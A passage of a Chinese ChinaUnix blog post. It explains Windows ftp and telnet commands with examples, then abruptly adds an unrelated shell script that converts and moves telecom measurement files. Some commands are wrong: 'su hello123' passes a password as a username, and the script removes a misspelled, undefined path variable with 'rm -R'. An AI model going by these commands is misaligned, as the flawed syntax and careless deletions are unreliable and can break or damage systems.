-w:windowsize 替代默认大小为 4096 的传送缓冲区。
Computer 指定要连接到远程计算机的计算机名或 IP 地址。如果指定,计算机必须是行的最后一个参数。

命令一览表:
命令
描述

从 ftp 子系统退出到外壳

显示 ftp 命令说明

append local-file [remote-file]
使用当前文件类型设置将本地文件附加到远程计算机上的文件。

ascii
将文件传送类型设置为默认的 ASCII

bell


切换响铃以在每个文件传送命令完成后响铃。默认情况下,铃声是关闭的

binary
将文件传送类型设置为二进制

bye
结束与远程计算机的 FTP 会话并退出 ftp

cd remote-directory
更改远程计算机上的工作目录

close

结束与远程服务器的 FTP 会话并返回命令解释程序

debug

切换调试。当调试打开时,发送到远程计算机的每个命令都打印,前面是字符串“>”。默认情况下,调试是关闭的

delete remote-file
删除远程计算机上的文件

dir [remote-directory] [local-file]
显示远程目录文件和子目录列表

disconnect
从远程计算机断开,保留 ftp 提示

get remote-file [local-file]
使用当前文件转换类型将远程文件复制到本地计算机

glob
切换文件名组合。组合允许在内部文件或路径名中使用通配符(* 和 ?)。默认情况下,组合是打开的

hash

切换已传输的每个数据块的数字签名 (#) 打印。数据块的大小是 2048 字节。默认情况下,散列符号打印是关闭的

help [command]
显示 ftp 命令说明

lcd [directory]
更改本地计算机上的工作目录。默认情况下,工作目录是启动 ftp 的目录

literal argument [ ...]
将参数逐字发送到远程 FTP 服务器。将返回单个的 FTP 回复代码

ls [remote-directory] [local-file]
显示远程目录文件和子目录的缩写列表

mdelete remote-files [ ...]
删除远程计算机上的文件

mdir remote-files [ ...] local-file
显示远程目录文件和子目录列表。可以使用 mdir 指定多个文件

mget remote-files [ ...]
使用当前文件传送类型将远程文件复制到本地计算机

mkdir directory
创建远程目录

mls remote-files [ ...] local-file
显示远程目录文件和子目录的缩写列表

mput local-files [ ...]
使用当前文件传送类型将本地文件复制到远程计算机上

open computer [port]
与指定的 FTP 服务器连接

prompt
切换提示。如果关闭提示时 mget 及 mput 传送所有文件,Ftp 在多文件传送过程中将提示允许您有选择地检索或存储文件。默认情况下,提示是打开的

put local-file [remote-file]
使用当前文件传送类型将本地文件复制到远程计算机上

pwd
显示远程计算机上的当前目录

quit
结束与远程计算机的 FTP 会话并退出 ftp

quote argument [ ...]
将参数逐字发送到远程 FTP 服务器。将返回单个的 FTP 回复代码。Quote 与 literal 相同

recv remote-file [local-file]
使用当前文件传送类型将远程文件复制到本地计算机。Recv 与 get 相同

remotehelp [command]
显示远程命令帮助

rename filename newfilename
重命名远程文件

rmdir directory
删除远程目录

send local-file [remote-file]
使用当前文件传送类型将本地文件复制到远程计算机上。Send 与 put 相同

status
显示 FTP 连接和切换的当前状态

trace

切换数据包跟踪。Trace 在运行 ftp 命令时显示每个数据包的路由

type [type-name]
设置或显示文件传送类型

user username [password] [account]
指定远程计算机的用户

verbose

切换 verbose 模式。如果打开,将显示所有 ftp 响应。在文件传送完成后,将同时显示与传送效率有关的统计信息。默认情况下,verbose 是打开的

示例:

(1)用交互式方法以用户guest和密码1234登录到ftp服务器ftp.server.com的download目录中下载文件test.zip文件。

C:\>ftp

ftp>open ftp.server.com

Connected to ftp.server.com.

220 FTP Server (ftp.server.com)  ready!

User (ftp.server.com.(none)):guest

Password:

230 User guest logged in.

ftp>cd download

250 CWD command successful.

ftp>bina

200 Type set to I.

ftp>get test.zip

200 PORT command successful.

150 Opening BINARY mode data connection for test.zip (5277 bytes).

226 Transfer complete.

ftp: 5277 bytes received in 2.4 Seconds 1Kbytes/sec.

ftp>close

221

ftp>quit

C:\>

(2)用命令行方式自动完成(1)中的下载任务。

建立文件:autodown.txt

user guest

1234

cd download

bina

get test.zip

close

quit

执行命令:ftp -n -s: autodown.txt ftp.server.com

说明:不少服务器支持匿名方式登录,就是说用户名为anonymous,密码为任意一个Email地址即可,但大多匿名用户只能下传文件,不具有上传文件的权限。

8、功能强大的远程管理工具-TELNET.EXE

作用:可以使用Telnet 客户以连接到运行有Telnet 服务器软件的远程计算机上。一旦连接之后,就可以与 Telnet 服务器通讯。执行的会话类型取决于Telnet 软件的配置。通讯、游戏、系统管理和本地登录模拟是Telnet 使用的几种典型类型。

执行:开始->运行->Telnet,即进入Telnet的主窗口,这时可从主菜单的“终端”->“首选”项里对Telnet进行必要的设置,比如,本地响应、光标属性、字体属性等等。

使用:设置完毕后,从主菜单里选“连接”->“远程系统”项,即进入登录窗口,填入主机名和端口号,点“连接”按钮即可。

说明:不管登录的是什么远程系统,建立连接后,一般都要先输入用户名和密码才能够访问远程系统,具体登录系统后如何操作,这要视对方服务器的设置而定,一般而言,登录到Windows NT和Unix/Linux系统后就可以执行你权限范围内的所有控制台程序,注意,别执行那些有图形界面的程序,因为Telnet只支持字符界面。Telnet能做很多种事情,比如:远程管理、电子公告板bbs、mud游戏、收发Email、上传下载文件和下载网页等。

示例:

(1)远程重启Linux服务器

先以用户名guest和密码1234登录到Linux Telnet服务器www. server.com,然后用密码hello123转换成root,执行重新启动远程主机后退出。

主机名www.server.com 端口:23

Red Hat Linux 6.2

Kernel 2.2.12-16 on an i686

Login:guest

password:

[guest@ server guest]$su hello123

[root@server root]reboot

说明:在unix和linux系统中默认是不允许管理员root直接用telnet登录到系统的,需要先以一个普通用户的身份登录,然后用su命令转换成root用户。而在windows nt/2000系统中,管理员Administrator是可以直接登录的。

(2)下载网站的首页文件

主机名www.server.com 端口:80

GET / HTTP/1.0 回车2次

说明:注意输入的字符要用大写。查看接收的文本可以看出web server的类型,如:IIS 5.0、Apache 1.3.22等。
(3)参加电子公告板BBS
主机名:smth.net 端口:23
说明:水木清华站,国内最棒的BBS站点,登入后按照提示操作。
(4)玩mud游戏
主机名:202.102.249.26 端口:3333
说明:风云mud游戏,很好玩,登入后按照提示操作。
(5)收Email信件
假定你www.163.net 的信箱为: badboy@163.net 密码为12345
主机名www.163.net 端口:110
user badboy  
OK!
pass 12345  
OK!
STAT
28
LIST
1
2
3
....
28
RETR 4
这里是第4封信的内容!!!
DELE 7
OK!
QUIT








































myPath=/ft_common/GyExp/$1
mystart=$1$2"0000"
myend=$1$3"0000"
rm -R $mypath
mkdir $myPath

cd /home/omc/abin
echo " now MeasConv GY_BSC0.exp!"
MeasConv BGY00D $mystart $myend>/dev/null
echo " now MeasConv GY_BSC1.exp!"
MeasConv BGZ01D $mystart $myend>/dev/null
echo " now MeasConv GY_BSC2.exp!"
MeasConv BGZ02D $mystart $myend>/dev/null
echo " now MeasConv GY_BSC4.exp!"
MeasConv BGZ08D $mystart $myend>/dev/null
echo " now MeasConv GY_BSC3.exp!"
MeasConv BGZ09D $mystart $myend>/dev/null



cd /ft_common/data/OMC/generic/
rm -R *.cnt

echo " move measurement files start..."
mv M_BGY00D_${mystart}_$myend.exp $myPath/GYBSC0.exp
mv M_BGZ01D_${mystart}_$myend.exp $myPath/GYBSC1.exp
mv M_BGZ02D_${mystart}_$myend.exp $myPath/GYBSC2.exp
mv M_BGZ08D_${mystart}_$myend.exp $myPath/GYBSC4.exp
mv M_BGZ09D_${mystart}_$myend.exp $myPath/GYBSC3.exp
rm *.cnt
echo " FINISHED!"



  








Cmd




65




本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u/14434/showart_197454.html
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP